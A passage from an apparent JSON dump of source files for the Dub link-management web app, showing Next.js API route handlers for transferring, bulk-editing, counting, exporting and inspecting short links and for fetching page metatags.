linkEventSchema.parse(response),\n      }),\n    );\n\n    return NextResponse.json({ id: link.id }, { headers });\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/links/[linkId]/transfer/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { getLinkOrThrow } from \"@/lib/api/links/get-link-or-throw\";\nimport { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { isDubDomain } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst transferLinkBodySchema = z.object({\n  newWorkspaceId: z\n    .string()\n    .min(1, \"Missing new workspace ID.\")\n    .transform((v) => normalizeWorkspaceId(v)),\n});\n\n// POST /api/links/[linkId]/transfer – transfer a link to another workspace\nexport const POST = withWorkspace(\n  async ({ req, headers, session, params, workspace }) => {\n    const link = await getLinkOrThrow({\n      workspaceId: workspace.id,\n      linkId: params.linkId,\n    });\n\n    if (!isDubDomain(link.domain)) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"You can only transfer Dub default domain links to another workspace.\",\n      });\n    }\n\n    if (link.folderId) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId: link.folderId,\n        requiredPermission: \"folders.links.write\",\n      });\n    }\n\n    const { newWorkspaceId } = transferLinkBodySchema.parse(await req.json());\n\n    if (newWorkspaceId === workspace.id) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"You cannot transfer a link to the same workspace.\",\n      });\n    }\n\n    const newWorkspace = await prisma.project.findUnique({\n      where: { id: newWorkspaceId },\n      select: {\n        linksUsage: true,\n        linksLimit: true,\n        users: {\n          where: {\n            userId: session.user.id,\n          },\n          select: {\n            role: true,\n          },\n        },\n      },\n    });\n\n    if (!newWorkspace || newWorkspace.users.length === 0) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"New workspace not found.\",\n      });\n    }\n\n    if (newWorkspace.linksUsage >= newWorkspace.linksLimit) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"New workspace has reached its link limit.\",\n      });\n    }\n\n    const updatedLink = await prisma.link.update({\n      where: {\n        id: link.id,\n      },\n      data: {\n        projectId: newWorkspaceId,\n        // reset all stats, tags, and folder when transferring link\n        clicks: 0,\n        leads: 0,\n        sales: 0,\n        saleAmount: 0,\n        conversions: 0,\n        lastClicked: null,\n        lastLeadAt: null,\n        lastConversionAt: null,\n        tags: {\n          deleteMany: {},\n        },\n        folderId: null,\n      },\n    });\n\n    waitUntil(\n      Promise.all([\n        linkCache.set(updatedLink),\n\n        // set the link with the old workspace ID to be deleted in Tinybird\n        recordLink(link, { deleted: true }),\n        // set the link with the new workspace ID to be created in Tinybird\n        recordLink(updatedLink),\n\n        // Remove the webhooks associated with the link\n        prisma.linkWebhook.deleteMany({\n          where: {\n            linkId: link.id,\n          },\n        }),\n      ]),\n    );\n\n    return NextResponse.json(updatedLink, {\n      headers,\n    });\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/links/bulk/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport {\n  bulkCreateLinks,\n  checkIfLinksHaveTags,\n  checkIfLinksHaveWebhooks,\n  processLink,\n} from \"@/lib/api/links\";\nimport { bulkDeleteLinks } from \"@/lib/api/links/bulk-delete-links\";\nimport { bulkUpdateLinks } from \"@/lib/api/links/bulk-update-links\";\nimport { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { throwIfLinksUsageExceeded } from \"@/lib/api/links/usage-checks\";\nimport { checkIfLinksHaveFolders } from \"@/lib/api/links/utils/check-if-links-have-folders\";\nimport { combineTagIds } from \"@/lib/api/tags/combine-tag-ids\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { exceededLimitError } from \"@/lib/exceeded-limit-error\";\nimport {\n  verifyFolderAccess,\n  verifyFolderAccessBulk,\n} from \"@/lib/folder/permissions\";\nimport { storage } from \"@/lib/storage\";\nimport { NewLinkProps, ProcessedLinkProps } from \"@/lib/types\";\nimport {\n  bulkCreateLinksBodySchema,\n  bulkUpdateLinksBodySchema,\n} from \"@/lib/zod/schemas/links\";\nimport { prisma } from \"@dub/prisma\";\nimport { R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/links/bulk – bulk create up to 100 links\nexport const POST = withWorkspace(\n  async ({ req, headers, session, workspace }) => {\n    if (!workspace) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"Missing workspace. Bulk link creation is only available for custom domain workspaces.\",\n      });\n    }\n\n    throwIfLinksUsageExceeded(workspace);\n\n    const links = bulkCreateLinksBodySchema.parse(await parseRequestBody(req));\n    if (\n      workspace.linksUsage + links.length > workspace.linksLimit &&\n      workspace.plan !== \"enterprise\" //  don't throw an error for enterprise plans\n    ) {\n      throw new DubApiError({\n        code: \"exceeded_limit\",\n        message: exceededLimitError({\n          plan: workspace.plan,\n          limit: workspace.linksLimit,\n          type: \"links\",\n        }),\n      });\n    }\n\n    // check if any of the links have a defined key and the domain + key combination is the same\n    const duplicates = links.filter(\n      (link, index, self) =>\n        link.key &&\n        self\n          .slice(index + 1)\n          .some((l) => l.domain === link.domain && l.key === link.key),\n    );\n\n    if (duplicates.length > 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `Duplicate links found: ${duplicates\n          .map((link) => `${link.domain}/${link.key}`)\n          .join(\", \")}`,\n      });\n    }\n\n    const processedLinks = await Promise.all(\n      links.map(async (link) =>\n        processLink({\n          payload: link,\n          workspace,\n          userId: session.user.id,\n          bulk: true,\n          skipExternalIdChecks: true,\n        }),\n      ),\n    );\n\n    let validLinks = processedLinks\n      .filter(({ error }) => error == null)\n      .map(({ link }) => link) as ProcessedLinkProps[];\n\n    let errorLinks = processedLinks\n      .filter(({ error }) => error != null)\n      .map(({ link, error, code }) => ({\n        link,\n        error,\n        code,\n      }));\n\n    if (checkIfLinksHaveTags(validLinks)) {\n      // filter out tags that don't belong to the workspace\n      const tagIds = validLinks\n        .map((link) =>\n          combineTagIds({ tagId: link.tagId, tagIds: link.tagIds }),\n        )\n        .flat()\n        .filter(Boolean) as string[];\n      const tagNames = validLinks\n        .map((link) => link.tagNames)\n        .flat()\n        .filter(Boolean) as string[];\n\n      const workspaceTags = await prisma.tag.findMany({\n        where: {\n          projectId: workspace.id,\n          ...(tagIds.length > 0 ? { id: { in: tagIds } } : {}),\n          ...(tagNames.length > 0 ? { name: { in: tagNames } } : {}),\n        },\n        select: {\n          id: true,\n          name: true,\n        },\n      });\n\n      const workspaceTagIds = workspaceTags.map(({ id }) => id);\n      const workspaceTagNames = workspaceTags.map(({ name }) =>\n        name.toLowerCase(),\n      );\n\n      validLinks.forEach((link, index) => {\n        const combinedTagIds =\n          combineTagIds({\n            tagId: link.tagId,\n            tagIds: link.tagIds,\n          }) ?? [];\n\n        const invalidTagIds = combinedTagIds.filter(\n          (id) => !workspaceTagIds.includes(id),\n        );\n\n        if (invalidTagIds.length > 0) {\n          // remove link from validLinks and add error to errorLinks\n          validLinks = validLinks.filter((_, i) => i !== index);\n          errorLinks.push({\n            error: `Invalid tagIds detected: ${invalidTagIds.join(\", \")}`,\n            code: \"unprocessable_entity\",\n            link,\n          });\n        }\n\n        const invalidTagNames = link.tagNames?.filter(\n          (name) => !workspaceTagNames.includes(name.toLowerCase()),\n        );\n\n        if (invalidTagNames?.length) {\n          validLinks = validLinks.filter((_, i) => i !== index);\n          errorLinks.push({\n            error: `Invalid tagNames detected: ${invalidTagNames.join(\", \")}`,\n            code: \"unprocessable_entity\",\n            link,\n          });\n        }\n      });\n    }\n\n    if (checkIfLinksHaveFolders(validLinks)) {\n      const folderIds = [\n        ...new Set(\n          validLinks.map((link) => link.folderId).filter(Boolean) as string[],\n        ),\n      ];\n\n      const folderPermissions = await verifyFolderAccessBulk({\n        workspace,\n        userId: session.user.id,\n        folderIds,\n        requiredPermission: \"folders.links.write\",\n      });\n\n      validLinks = validLinks.filter((link) => {\n        if (!link.folderId) {\n          return true;\n        }\n\n        const validFolder = folderPermissions.find(\n          (folder) => folder.folderId === link.folderId,\n        );\n\n        if (!validFolder) {\n          errorLinks.push({\n            error: `Invalid folderId detected: ${link.folderId}`,\n            code: \"unprocessable_entity\",\n            link,\n          });\n\n          return false;\n        }\n\n        if (!validFolder.hasPermission) {\n          errorLinks.push({\n            error: `You don't have write access to the folder: ${link.folderId}`,\n            code: \"forbidden\",\n            link,\n          });\n\n          return false;\n        }\n\n        return true;\n      });\n    }\n\n    if (checkIfLinksHaveWebhooks(validLinks)) {\n      if (workspace.plan === \"free\" || workspace.plan === \"pro\") {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message:\n            \"You can only use webhooks on a Business plan and above. Upgrade to Business to use this feature.\",\n        });\n      }\n\n      const webhookIds = validLinks\n        .map((link) => link.webhookIds)\n        .flat()\n        .filter(Boolean) as string[];\n\n      const webhooks = await prisma.webhook.findMany({\n        where: { projectId: workspace.id, id: { in: webhookIds } },\n      });\n\n      const workspaceWebhookIds = webhooks.map(({ id }) => id);\n\n      validLinks.forEach((link, index) => {\n        const invalidWebhookIds = link.webhookIds?.filter(\n          (id) => !workspaceWebhookIds.includes(id),\n        );\n        if (invalidWebhookIds && invalidWebhookIds.length > 0) {\n          validLinks = validLinks.filter((_, i) => i !== index);\n          errorLinks.push({\n            error: `Invalid webhookIds detected: ${invalidWebhookIds.join(\", \")}`,\n            code: \"unprocessable_entity\",\n            link,\n          });\n        }\n      });\n    }\n\n    const validLinksResponse =\n      validLinks.length > 0 ? await bulkCreateLinks({ links: validLinks }) : [];\n\n    return NextResponse.json([...validLinksResponse, ...errorLinks], {\n      headers,\n    });\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n\n// PATCH /api/links/bulk – bulk update up to 100 links with the same data\nexport const PATCH = withWorkspace(\n  async ({ req, workspace, headers, session }) => {\n    const { linkIds, externalIds, data } = bulkUpdateLinksBodySchema.parse(\n      await parseRequestBody(req),\n    );\n\n    if (linkIds.length === 0 && externalIds.length === 0) {\n      return NextResponse.json(\"No links to update\", { headers });\n    }\n\n    let links = await prisma.link.findMany({\n      where: {\n        projectId: workspace.id,\n        ...(linkIds.length > 0\n          ? { id: { in: linkIds } }\n          : { externalId: { in: externalIds } }),\n      },\n    });\n\n    // linkIds that don't exist\n    let errorLinks = linkIds\n      .filter((id) => links.find((link) => link.id === id) === undefined)\n      .map((id) => ({\n        error: \"Link not found\",\n        code: \"not_found\",\n        link: { id },\n      }))\n      .concat(\n        externalIds\n          .filter(\n            (id) => links.find((link) => link.externalId === id) === undefined,\n          )\n          .map((id) => ({\n            error: \"Link not found\",\n            code: \"not_found\",\n            link: { id },\n          })),\n      );\n\n    let { tagNames, expiresAt } = data;\n    const tagIds = combineTagIds(data);\n    // tag checks\n    if (tagIds && tagIds.length > 0) {\n      const tags = await prisma.tag.findMany({\n        select: {\n          id: true,\n        },\n        where: { projectId: workspace?.id, id: { in: tagIds } },\n      });\n\n      if (tags.length !== tagIds.length) {\n        throw new DubApiError({\n          code: \"unprocessable_entity\",\n          message: `Invalid tagIds detected: ${tagIds.filter((tagId) => tags.find(({ id }) => tagId === id) === undefined).join(\", \")}`,\n        });\n      }\n    } else if (tagNames && tagNames.length > 0) {\n      const tags = await prisma.tag.findMany({\n        select: {\n          name: true,\n        },\n        where: {\n          projectId: workspace?.id,\n          name: { in: tagNames },\n        },\n      });\n\n      if (tags.length !== tagNames.length) {\n        throw new DubApiError({\n          code: \"unprocessable_entity\",\n          message: `Invalid tagNames detected: ${tagNames.filter((tagName) => tags.find(({ name }) => tagName === name) === undefined).join(\", \")}`,\n        });\n      }\n    }\n\n    if (data.folderId) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId: data.folderId,\n        requiredPermission: \"folders.links.write\",\n      });\n    }\n\n    if (checkIfLinksHaveFolders(links)) {\n      const folderIds = Array.from(\n        new Set(links.map((link) => link.folderId).filter(Boolean) as string[]),\n      );\n\n      const folderPermissions = await verifyFolderAccessBulk({\n        workspace,\n        userId: session.user.id,\n        folderIds,\n        requiredPermission: \"folders.links.write\",\n      });\n\n      links = links.filter((link) => {\n        if (!link.folderId) {\n          return true;\n        }\n\n        const validFolder = folderPermissions.find(\n          (folder) => folder.folderId === link.folderId,\n        );\n\n        if (!validFolder?.hasPermission) {\n          errorLinks.push({\n            error: `You don't have permission to update links in this folder: ${link.folderId}`,\n            code: \"forbidden\",\n            link,\n          });\n\n          return false;\n        }\n\n        return true;\n      });\n    }\n\n    const processedLinks = await Promise.all(\n      links.map(async (link) =>\n        processLink({\n          payload: {\n            ...link,\n            expiresAt:\n              link.expiresAt instanceof Date\n                ? link.expiresAt.toISOString()\n                : link.expiresAt,\n            geo: link.geo as NewLinkProps[\"geo\"],\n            testVariants: link.testVariants as NewLinkProps[\"testVariants\"],\n            testCompletedAt:\n              link.testCompletedAt instanceof Date\n                ? link.testCompletedAt.toISOString()\n                : link.testCompletedAt,\n            testStartedAt:\n              link.testStartedAt instanceof Date\n                ? link.testStartedAt.toISOString()\n                : link.testStartedAt,\n            ...data,\n          },\n          workspace,\n          userId: link.userId ?? undefined,\n          bulk: true,\n          skipKeyChecks: true,\n          skipExternalIdChecks: true,\n        }),\n      ),\n    );\n\n    const validLinkIds = processedLinks\n      .filter(({ error }) => error == null)\n      .map(({ link }) => link.id) as string[];\n\n    errorLinks = errorLinks.concat(\n      processedLinks\n        .filter(({ error }) => error != null)\n        .map(({ link, error, code }) => ({\n          error: error as string,\n          code: code as string,\n          link,\n        })),\n    );\n\n    const response =\n      validLinkIds.length > 0\n        ? await bulkUpdateLinks({\n            linkIds: validLinkIds,\n            data: {\n              ...data,\n              tagIds,\n              expiresAt,\n            },\n            workspaceId: workspace.id,\n          })\n        : [];\n\n    waitUntil(\n      (async () => {\n        if (data.proxy && data.image) {\n          await Promise.allSettled(\n            links.map(async (link) => {\n              // delete old proxy image urls if exist and match the link ID\n              if (\n                link.image &&\n                link.image.startsWith(`${R2_URL}/images/${link.id}`) &&\n                link.image !== data.image\n              ) {\n                storage.delete({ key: link.image.replace(`${R2_URL}/`, \"\") });\n              }\n            }),\n          );\n        }\n      })(),\n    );\n\n    return NextResponse.json([...response, ...errorLinks], { headers });\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n\n// DELETE /api/links/bulk – bulk delete up to 100 links\nexport const DELETE = withWorkspace(\n  async ({ workspace, headers, searchParams, session }) => {\n    const searchParamsLinkIds = searchParams[\"linkIds\"]\n      ? searchParams[\"linkIds\"].split(\",\")\n      : [];\n\n    if (searchParamsLinkIds.length === 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"Please provide linkIds to delete. You may use `linkId` or `externalId` prefixed with `ext_` as comma separated values.\",\n      });\n    }\n\n    const linkIds = new Set<string>();\n    const externalIds = new Set<string>();\n\n    searchParamsLinkIds.map((id) => {\n      id = id.trim();\n\n      if (id.startsWith(\"ext_\")) {\n        externalIds.add(id.replace(\"ext_\", \"\"));\n      } else {\n        linkIds.add(id);\n      }\n    });\n\n    if (linkIds.size === 0 && externalIds.size === 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"Please provide linkIds to delete. You may use `linkId` or `externalId` prefixed with `ext_` as comma separated values.\",\n      });\n    }\n\n    let links = await prisma.link.findMany({\n      where: {\n        projectId: workspace.id,\n        OR: [\n          ...(linkIds.size > 0 ? [{ id: { in: Array.from(linkIds) } }] : []),\n          ...(externalIds.size > 0\n            ? [{ externalId: { in: Array.from(externalIds) } }]\n            : []),\n        ],\n      },\n      include: {\n        ...includeTags,\n        ...includeProgramEnrollment,\n      },\n    });\n\n    if (checkIfLinksHaveFolders(links)) {\n      const folderIds = [\n        ...new Set(\n          links.map((link) => link.folderId).filter(Boolean) as string[],\n        ),\n      ];\n\n      const folderPermissions = await verifyFolderAccessBulk({\n        workspace,\n        userId: session.user.id,\n        folderIds,\n        requiredPermission: \"folders.links.write\",\n      });\n\n      links = links.filter((link) => {\n        if (!link.folderId) {\n          return true;\n        }\n\n        const validFolder = folderPermissions.find(\n          (folder) => folder.folderId === link.folderId,\n        );\n\n        return validFolder?.hasPermission ?? false;\n      });\n    }\n\n    const { count: deletedCount } = await prisma.link.deleteMany({\n      where: {\n        id: { in: links.map((link) => link.id) },\n        projectId: workspace.id,\n      },\n    });\n\n    waitUntil(bulkDeleteLinks(links));\n\n    return NextResponse.json(\n      {\n        deletedCount,\n      },\n      { headers },\n    );\n  },\n  {\n    requiredPermissions: [\"links.write\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/links/count/route.ts",
    "content": "import { getLinksCount } from \"@/lib/api/links\";\nimport { validateLinksQueryFilters } from \"@/lib/api/links/validate-links-query-filters\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { getLinksCountQuerySchema } from \"@/lib/zod/schemas/links\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/links/count – get the number of links for a workspace\nexport const GET = withWorkspace(\n  async ({ headers, searchParams, workspace, session }) => {\n    const filters = getLinksCountQuerySchema.parse(searchParams);\n\n    const { folderIds } = await validateLinksQueryFilters({\n      ...filters,\n      workspace,\n      userId: session.user.id,\n    });\n\n    const count = await getLinksCount({\n      ...filters,\n      workspaceId: workspace.id,\n      folderIds,\n    });\n\n    return NextResponse.json(count, {\n      headers,\n    });\n  },\n  {\n    requiredPermissions: [\"links.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/links/exists/route.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { keyChecks, processKey } from \"@/lib/api/links/utils\";\nimport { getWorkspaceViaEdge } from \"@/lib/planetscale\";\nimport { domainKeySchema } from \"@/lib/zod/schemas/links\";\nimport { workspaceIdSchema } from \"@/lib/zod/schemas/workspaces\";\nimport { getSearchParams } from \"@dub/utils\";\nimport { NextRequest, NextResponse } from \"next/server\";\n\nexport const runtime = \"edge\";\n\n// GET /api/links/exists – run keyChecks on the key\nexport const GET = async (req: NextRequest) => {\n  try {\n    const searchParams = getSearchParams(req.url);\n\n    let { domain, key, workspaceId } = domainKeySchema\n      .and(workspaceIdSchema)\n      .parse(searchParams);\n\n    const processedKey = processKey({ domain, key });\n    if (processedKey === null) {\n      throw new DubApiError({\n        code: \"unprocessable_entity\",\n        message: \"Invalid key.\",\n      });\n    }\n    key = processedKey;\n\n    const workspace = await getWorkspaceViaEdge({\n      workspaceId,\n    });\n\n    if (!workspace) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Workspace not found.\",\n      });\n    }\n\n    const response = await keyChecks({\n      domain,\n      key,\n      workspace,\n    });\n\n    if (response.error && response.code) {\n      throw new DubApiError({\n        code: response.code,\n        message: response.error,\n      });\n    }\n\n    return NextResponse.json(response);\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n};\n"
  },
  {
    "path": "apps/web/app/api/links/export/route.ts",
    "content": "import { convertToCSV } from \"@/lib/analytics/utils\";\nimport { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { getLinksCount } from \"@/lib/api/links\";\nimport { formatLinksForExport } from \"@/lib/api/links/format-links-for-export\";\nimport { getLinksForWorkspace } from \"@/lib/api/links/get-links-for-workspace\";\nimport { throwIfClicksUsageExceeded } from \"@/lib/api/links/usage-checks\";\nimport { validateLinksQueryFilters } from \"@/lib/api/links/validate-links-query-filters\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { MEGA_WORKSPACE_LINKS_LIMIT } from \"@/lib/constants/misc\";\nimport { qstash } from \"@/lib/cron\";\nimport { linksExportQuerySchema } from \"@/lib/zod/schemas/links\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { endOfDay, startOfDay } from \"date-fns\";\nimport { NextResponse } from \"next/server\";\n\nconst MAX_LINKS_TO_EXPORT = 1000;\n\n// GET /api/links/export – export links to CSV\nexport const GET = withWorkspace(\n  async ({ searchParams, workspace, session }) => {\n    throwIfClicksUsageExceeded(workspace);\n\n    const { columns, ...filters } = linksExportQuerySchema.parse(searchParams);\n\n    const { folderIds } = await validateLinksQueryFilters({\n      ...filters,\n      workspace,\n      userId: session.user.id,\n    });\n\n    const { interval, start, end } = filters;\n\n    const { startDate, endDate } = getStartEndDates({\n      interval,\n      start: start ? startOfDay(new Date(start)) : undefined,\n      end: end ? endOfDay(new Date(end)) : undefined,\n    });\n\n    const linksCount = (await getLinksCount({\n      ...filters,\n      workspaceId: workspace.id,\n      folderIds,\n    })) as number;\n\n    // Process the export in the background if the number of links is greater than MAX_LINKS_TO_EXPORT\n    if (linksCount > MAX_LINKS_TO_EXPORT) {\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/export/links`,\n        body: {\n          ...searchParams,\n          workspaceId: workspace.id,\n          userId: session.user.id,\n        },\n      });\n\n      return NextResponse.json({}, { status: 202 });\n    }\n\n    const links = await getLinksForWorkspace({\n      ...filters,\n      ...(interval !== \"all\" && {\n        startDate,\n        endDate,\n      }),\n      searchMode:\n        workspace.totalLinks > MEGA_WORKSPACE_LINKS_LIMIT ? \"exact\" : \"fuzzy\",\n      includeDashboard: false,\n      includeUser: false,\n      includeWebhooks: false,\n      page: 1,\n      pageSize: MAX_LINKS_TO_EXPORT,\n      workspaceId: workspace.id,\n      folderIds,\n    });\n\n    const formattedLinks = formatLinksForExport(links, columns);\n    const csvData = convertToCSV(formattedLinks);\n\n    return new Response(csvData, {\n      headers: {\n        \"Content-Type\": \"application/csv\",\n        \"Content-Disposition\": \"attachment\",\n      },\n    });\n  },\n  {\n    requiredPermissions: [\"links.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/links/iframeable/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { ratelimitOrThrow } from \"@/lib/api/utils\";\nimport {\n  getDomainQuerySchema,\n  getUrlQuerySchema,\n} from \"@/lib/zod/schemas/links\";\nimport { getSearchParams, isIframeable } from \"@dub/utils\";\nimport { NextRequest, NextResponse } from \"next/server\";\n\nexport const runtime = \"edge\";\n\nexport async function GET(req: NextRequest) {\n  try {\n    const { url, domain } = getUrlQuerySchema\n      .and(getDomainQuerySchema)\n      .parse(getSearchParams(req.url));\n\n    await ratelimitOrThrow(req, \"iframeable\");\n\n    const iframeable = await isIframeable({ url, requestDomain: domain });\n\n    return NextResponse.json({ iframeable });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/api/links/info/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { transformLink } from \"@/lib/api/links\";\nimport { getLinkOrThrow } from \"@/lib/api/links/get-link-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { verifyFolderAccess } from \"@/lib/folder/permissions\";\nimport { getLinkInfoQuerySchemaExtended } from \"@/lib/zod/schemas/links\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/links/info – get the info for a link\nexport const GET = withWorkspace(\n  async ({ headers, searchParams, workspace, session }) => {\n    const queryParams = getLinkInfoQuerySchemaExtended.parse(searchParams);\n    const { domain, key, linkId, externalId } = queryParams;\n\n    if (!domain && !key && !linkId && !externalId) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"You must provide a domain and a key or a linkId or an externalId to retrieve a link.\",\n        docUrl: \"https://dub.co/docs/api-reference/endpoint/retrieve-a-link\",\n      });\n    }\n\n    const link = await getLinkOrThrow({\n      ...queryParams,\n      workspaceId: workspace.id,\n    });\n\n    if (link.folderId) {\n      await verifyFolderAccess({\n        workspace,\n        userId: session.user.id,\n        folderId: link.folderId,\n        requiredPermission: \"folders.read\",\n      });\n    }\n\n    const tags = await prisma.tag.findMany({\n      where: {\n        links: {\n          some: {\n            linkId: link.id,\n          },\n        },\n      },\n      select: {\n        id: true,\n        name: true,\n        color: true,\n      },\n    });\n\n    const response = transformLink(\n      {\n        ...link,\n        tags: tags.map((tag) => {\n          return { tag };\n        }),\n      },\n      { skipDecodeKey: true },\n    );\n\n    return NextResponse.json(response, {\n      headers,\n    });\n  },\n  {\n    requiredPermissions: [\"links.read\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/api/links/metatags/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { ratelimitOrThrow } from \"@/lib/api/utils\";\nimport { getUrlQuerySchema } from \"@/lib/zod/schemas/links\";\nimport { NextRequest, NextResponse } from \"next/server\";\nimport { getMetaTags } from \"./utils\";\n\nexport const runtime = \"edge\";\n\nexport async function GET(req: NextRequest) {\n  try {\n    const origin = req.headers.get(\"origin\");\n    // Validate the origin header and set CORS headers accordingly\n    const corsHeaders = {\n      \"Access-Control-Allow-Methods\": \"GET\",\n      \"Access-Control-Allow-Headers\": \"Content-Type\",\n    };\n\n    if (origin && origin.endsWith(\".dub.co\")) {\n      corsHeaders[\"Access-Control-Allow-Origin\"] = origin;\n    }\n\n    // Validate URL parameter\n    const { url } = getUrlQuerySchema.parse({\n      url: req.nextUrl.searchParams.get(\"url\"),\n    });\n\n    // Rate limit by IP\n    await ratelimitOrThrow(req, \"metatags\");\n\n    // Get metatags\n    const metatags = await getMetaTags(url);\n\n    // Return response\n    return NextResponse.json(\n      {\n        ...metatags,\n        poweredBy: \"Dub - The Modern Link Attribution Platform\",\n      },\n      {\n        headers: corsHeaders,\n      },\n    );\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/api/links/metatags/utils.ts",
    "content": "import { recordMetatags } from \"@/lib/upstash\";\nimport { fetchWithTimeout, isValidUrl } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport he from \"he\";\nimport { parse } from \"node-html-parser\";\n\nexport const getHtml = async (url: string) => {\n  try {\n    const response = await fetchWithTimeout(url);\n\n    if (!response.ok) {\n      // If we get a 406 or other error, check if it's a Cloudflare-protected site\n      const isCloudflare = response.headers.get(\"server\") === \"cloudflare\";\n      if (isCloudflare) {\n        console.warn(`Cloudflare-protected site detected: ${url}`);\n        return null;\n      }\n      console.error(`HTTP error! status: ${response.status} for URL: ${url}`);\n      return null;\n    }\n\n    const text = await response.text();\n\n    // Check if the response contains Cloudflare's challenge page\n    if (\n      text.includes(\"challenge-platform\") ||\n      text.includes(\"cf-browser-verification\")\n    ) {\n      console.warn(`Cloudflare challenge page detected for: ${url}`);\n      return null;\n    }\n\n    return text;\n  } catch (error) {\n    console.error(`Error fetching ${url}:`, error);\n    return null;\n  }\n};\n\nexport const getHeadChildNodes = (html) => {\n  const ast = parse(html); // parse the html into AST format with node-html-parser\n  const metaTags = ast.querySelectorAll(\"meta\").map(({ attributes }) => {\n    const property = attributes.property || attributes.name || attributes.href;\n    return {\n      property,\n      content: attributes.content,\n    };\n  });\n  const title = ast.querySelector(\"title\")?.innerText;\n  const linkTags = ast.querySelectorAll(\"link\").map(({ attributes }) => {\n    const { rel, href } = attributes;\n    return {\n      rel,\n      href,\n    };\n  });\n\n  return { metaTags, title, linkTags };\n};\n\nexport const getRelativeUrl = (url: string, imageUrl: string) => {\n  if (!imageUrl) {\n    return null;\n  }\n  if (isValidUrl(imageUrl)) {\n    return imageUrl;\n  }\n  const { protocol, host } = new URL(url);\n  const baseURL = `${protocol}//${host}`;\n  return new URL(imageUrl, baseURL).toString();\n};\n\nconst generateFallbackMetadata = (url: string) => {\n  try {\n    const parsedUrl = new URL(url);\n    const hostname = parsedUrl.hostname;\n    const path = parsedUrl.pathname;\n\n    // Clean up the path for title\n    const pathParts = path.split(\"/\").filter(Boolean);\n    const lastPathPart = pathParts[pathParts.length - 1] || \"\";\n    const formattedPath = lastPathPart\n      .split(\"-\")\n      .map((word) => word.charAt(0).toUpperCase() + word.slice(1))\n      .join(\" \");\n\n    return {\n      title: formattedPath || hostname.replace(/^www\\./, \"\"),\n      description: `Visit ${hostname}${path}`,\n      image: null,\n    };\n  } catch (e) {\n    return {\n      title: url,\n      description: \"No description available\",\n      image: null,\n    };\n  }\n};\n\nexport const getMetaTags = async (url: string) => {\n  const html = await getHtml(url);\n  if (!html) {\n    // If we couldn't fetch the HTML (e.g., due to Cloudflare protection),\n    // generate fallback metadata from the URL\n    return generateFallbackMetadata(url);\n  }\n\n  const { metaTags, title: titleTag, linkTags } = getHeadChildNodes(html);\n\n  let object = {};\n\n  for (let k in metaTags) {\n    let { property, content } = metaTags[k];\n\n    // !object[property] → (meaning we're taking the first instance of a metatag and ignoring the rest)\n    property &&\n      !object[property] &&\n      (object[property] = content && he.decode(content));\n  }\n\n  for (let m in linkTags) {\n    let { rel, href } = linkTags[m];\n\n    // !object[rel] → (ditto the above)\n    rel && !object[rel] && (object[rel] = href);\n  }\n\n  const title = object[\"og:title\"] || object[\"twitter:title\"] || titleTag;\n\n  const description =\n    object[\"description\"] ||\n    object[\"og:description\"] ||\n    object[\"twitter:description\"];\n\n  const image =\n    object[\"og:image\"] ||\n    